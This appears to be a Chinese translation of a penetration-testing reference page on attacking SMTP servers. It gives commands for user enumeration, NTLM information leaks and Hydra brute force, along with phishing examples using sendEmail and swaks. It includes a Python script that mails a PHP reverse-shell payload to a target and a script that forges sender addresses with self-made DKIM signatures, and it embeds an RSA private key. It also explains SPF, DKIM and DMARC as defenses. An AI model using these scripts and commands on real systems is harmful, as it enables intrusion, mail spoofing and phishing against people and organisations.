SMTP(簡單郵件傳輸協議)*是一種用於*發送和接收電子郵件的 TCP/IP 協議。但是,由於它在接收端對消息進行排隊的能力有限,因此它通常與其他兩種協議之一(POP3 或 IMAP)一起使用,使用戶可以將消息保存在服務器郵箱中並定期從服務器下載它們。
換句話說,用戶通常使用使用SMTP 發送電子郵件並使用POP3 或 IMAP 接收電子郵件的程序。在基於 Unix 的系統上,sendmail是使用最廣泛的電子郵件 SMTP 服務器。商業軟件包 Sendmail 包括一個 POP3 服務器。Microsoft Exchange包括一個 SMTP 服務器,也可以設置為包括 POP3 支持。從這裡開始。
默認端口: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
如果你有機會讓受害者給你發一封電子郵件(例如通過網頁的聯繫方式),那麼這樣做是因為你可以通過查看郵件標題了解受害者的內部拓撲結構。
您還可以從 SMTP 服務器獲取一封電子郵件,試圖向該服務器發送一封電子郵件到一個不存在的地址(因為服務器將向攻擊者發送一封 NDN 郵件)。但是,請確保您從允許的地址發送電子郵件(檢查 SPF 策略)並且您可以接收 NDN 消息。
您還應該嘗試發送不同的內容,因為您可以在標題上找到更多有趣的信息,例如: 您應該發送 EICAR 測試文件。檢測AV可能允許您利用已知漏洞。 X-Virus-Scanned:byav.domain.com
基本動作Banner 抓取/基本連接SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #沒有starttls命令的SSL/TLS
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
dig +short mx google.com
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
如果服務器支持 NTLM 身份驗證 (Windows),您可以獲得敏感信息(版本)。更多信息在這裡。
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
或者使用nmap插件自動執行此操作 smtp-ntlm-info.nse
內部服務器名稱 - 信息泄露當發出沒有完整地址的命令「MAIL FROM」時,某些 SMTP 服務器會自動完成發件人的地址,從而泄露其內部名稱:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
檢查你是否從數據包中嗅探了一些密碼到端口 25
用戶名暴力枚舉並不總是需要身份驗證
收件人$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>
摘自: https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
自動工具Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
投遞狀態通知報告:如果您向某個組織發送電子郵件至無效地址,該組織將通知該地址無效並向您發回郵件。返回電子郵件的標題將包含可能的敏感信息(例如與報告交互的郵件服務的 IP 地址或防病毒軟件信息)。
[命令]從 linux 控制台發送電子郵件root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
這是使用 python 腳本發送電子郵件的替代方法
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
本節的大部分內容摘自網絡安全評估第 3 版一書。
SMTP 消息很容易被欺騙,因此組織使用SPF 、DKIM和DMARC功能來防止各方發送未經授權的電子郵件。
有關這些對策的完整指南,請訪問https://seanthegeek.net/459/demystifying-dmarc/
SPF發件人策略框架(SPF) 提供了一種機制,允許 MTA 檢查發送電子郵件的主機是否經過授權。然後,組織可以定義授權郵件服務器列表,MTA 可以查詢此列表以檢查電子郵件是否被欺騙。為了定義 IP 地址/範圍、域和其他允許代表域名發送電子郵件的人, SPF 註冊表中出現了不同的「機制」。
機制MechanismDescriptionALL始終匹配;用於默認結果,例如-all所有與先前機制不匹配的 IP。A如果域名有可以解析到發件人地址的地址記錄(A或AAAA),則匹配。IP4如果發件人在給定的 IPv4 地址範圍內,則匹配。IP6如果發件人在給定的 IPv6 地址範圍內,則匹配。MX如果域名有解析為發件人地址的 MX 記錄,它將匹配(即郵件來自域的接收郵件服務器之一)。PTR如果客戶端地址的域名(PTR 記錄)在給定域中並且該域名解析為客戶端地址(正向確認的反向 DNS),則匹配。這種機制是不鼓勵的,應該儘可能避免。EXISTS如果給定的域名解析為任何地址,則匹配(無論它解析為哪個地址)。這很少使用。它與 SPF 宏語言一起提供更複雜的匹配,如 DNSBL 查詢。INCLUDE引用另一個域的策略。如果該域的策略通過,則此機制通過。但是,如果包含的策略失敗,處理將繼續。要完全委託給另一個域的策略,必須使用重定向擴展。REDIRECT重定向是指向託管 SPF 策略的另一個域名的指針,它允許多個域共享相同的 SPF 策略。在處理共享相同電子郵件基礎設施的大量域時,它很有用。還可以識別指示匹配機制時應執行的操作的限定符。默認情況下,使用限定符 「+」 (因此,如果任何機制匹配,則意味着它是允許的)。您通常會在每個 SPF 政策的末尾註明:\~all或 -all 。這用於指示如果發件人不符合任何 SPF 策略,您應該將電子郵件標記為不受信任 (\~) 或拒絕 (-) 電子郵件。
限定條件每個機制都可以與四個限定符之一組合:
**+**對於 PASS 結果。這個可以省略;例如,+mx與 相同mx。
**?**對於解釋為 NONE(無政策)的 NEUTRAL 結果。
~(代字號)代表 SOFTFAIL,一種介於 NEUTRAL 和 FAIL 之間的調試輔助工具。通常,返回 SOFTFAIL 的消息會被接受但會被標記。
-(減號)對於失敗,郵件應該被拒絕(見下文)。
在下面的示例中,您可以閱讀google.com 的 SPF 策略。請注意第一個 SPF 策略如何包含其他域的 SPF 策略:
kali@kali:~$ dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
傳統上,可以欺騙任何沒有正確/任何 SPF 記錄的域名。如今,如果電子郵件來自沒有有效 SPF 記錄的域,*可能會*自動被拒絕/標記為不受信任。
要檢查域的 SPF,您可以使用在線工具,例如:https://www.kitterman.com/spf/validate.html
DKIMDomainKeys Identified Mail (DKIM) 是一種機制,通過該機制,外國 MTA 在通過 DNS 檢索域的公鑰時對出站電子郵件進行簽名和驗證。DKIM 公鑰保存在域的 TXT 記錄中;但是,您必須知道選擇器和域名才能檢索它。
然後,要請求密鑰,您需要域名和郵件標題中的郵件選擇器, DKIM-Signature例如:d=gmail.com;s=20120113
dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
基於域的消息身份驗證、報告和一致性 (DMARC) 是一種在 SPF 和 DKIM 基礎上擴展的郵件身份驗證方法。策略指示郵件服務器如何處理給定域的電子郵件並報告執行的操作。
[
](https://github.com/carlospolop/hacktricks/blob/master/.gitbook/assets/image (134).png)
獲取DMARC記錄需要查詢子域名_dmarc
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
PayPal 和 Yahoo 指示郵件服務器拒絕包含無效 DKIM 簽名或並非來自其網絡的郵件。然後將通知發送到每個組織內的相應電子郵件地址。谷歌以類似的方式配置,儘管它指示郵件服務器隔離郵件而不是完全拒絕它們。
DMARC 標籤Tag NamePurposeSamplev協議版本v=DMARC1pct受到過濾的消息的百分比pct=20ruf取證報告的報告 URIruf=mailto:authfail@example.comrua匯總報告的報告 URIrua=mailto:aggrep@example.comp組織域策略p=quarantinespOD 子域的策略sp=rejectadkimDKIM 的對齊模式adkim=saspfSPF 對齊模式aspf=r子域呢?從這裡開始.您需要為您希望從中發送郵件的每個子域擁有單獨的 SPF 記錄。以下內容最初發布在 openspf.org 上,該網站曾經是此類內容的重要資源。
難搞的問題: 子域呢?如果我收到來自 pielovers.demon.co.uk 的郵件,並且沒有 pielovers 的 SPF 數據,我是否應該返回一級並測試 demon.co.uk 的 SPF?不。Demon 的每個子域都是不同的客戶,每個客戶可能有自己的政策。默認情況下 Demon 的政策適用於所有客戶是沒有意義的;如果 Demon 想要這樣做,它可以為每個子域設置 SPF 記錄。因此,對 SPF 發布者的建議是:您應該為每個具有 A 或 MX 記錄的子域或主機名添加 SPF 記錄。具有通配符 A 或 MX 記錄的站點還應具有通配符 SPF 記錄,格式為:* IN TXT "v=spf1 -all"
這是有道理的——一個子域很可能位於不同的地理位置並且具有非常不同的 SPF 定義。
打開中繼為防止發送的郵件被垃圾郵件過濾器過濾而無法到達收件人,發件人可以使用收件人信任的中繼服務器。通常,管理員沒有概述他們必須允許哪些IP範圍。這會導致我們在外部和內部滲透測試中仍然經常發現的 SMTP 服務器配置錯誤。因此,它們允許所有 IP 地址不會在電子郵件流量中造成錯誤,從而不會干擾或無意中中斷與潛在和當前客戶的通信:
mynetworks = 0.0.0.0/0
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
https://github.com/serain/mailspoof檢查 SPF 和 DMARC 配置錯誤
https://pypi.org/project/checkdmarc/自動獲取 SPF 和 DMARC 配置
https://www.mailsploit.com/index
http://www.anonymailer.net/
https://emkei.cz/
或者你可以使用這個工具:
https://github.com/magichk/magicspoofing
# 這將從test@victim.com發送測試電子郵件到destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# 但你也可以修改郵件的更多選項
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
如果您在 dkim python 庫中使用解析密鑰時遇到任何錯誤,請隨意使用以下一個。注意:這只是一個骯髒的修復,用於在由於某種原因 openssl 私鑰無法被 dkim 解析的情況下進行快速檢查。
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
或者你可以手動完成:
php
# 這將發送未簽名的消息
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
Python
# 來自 https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prep
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# 生成 DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# 生成電子郵件
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# 使用dkim簽署電子郵件
## 收件人將無法檢查,但電子郵件將顯示為已簽名(因此更可信)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# 使用本地後綴中繼發送電子郵件
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
在 https://seanthegeek.net/459/demystifying-dmarc/ 中查找有關這些保護的更多信息
通過 SMTP 滲透如果您可以通過 SMTP 發送數據。
配置文件後綴通常,如果已安裝,in /etc/postfix/master.cf包含在例如用戶收到新郵件時執行的腳本。例如,該行 flags=Rquser=mark argv=/etc/postfix/filtering-f ${sender}--${recipient}表示 /etc/postfix/filtering如果用戶標記收到新郵件,將執行該行。
其他配置文件:
sendmail.cf
submit.cf
Protocol_Name: SMTP #協議縮寫(如果有的話)。
Port_Number: 25,465,587 #如果有多個,則用逗號分隔。
Protocol_Description: Simple Mail Transfer Protocol #協議縮寫
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
![](https://imageproxy.pixnet.cc/imgproxy?url=https://drbanana.ml/img/68747470733a2f2f6d6d62697a2e717069632e636e2f6d6d62697a5f6769662f50446454506963736d683467686163446d624c684258306f414a5a596f4e69633033634467483762786159543741373472526e373043384f334f78655350663374525a68716256717567596c36707356437765334b5971772f3634303f77785f666d743d676966.webp)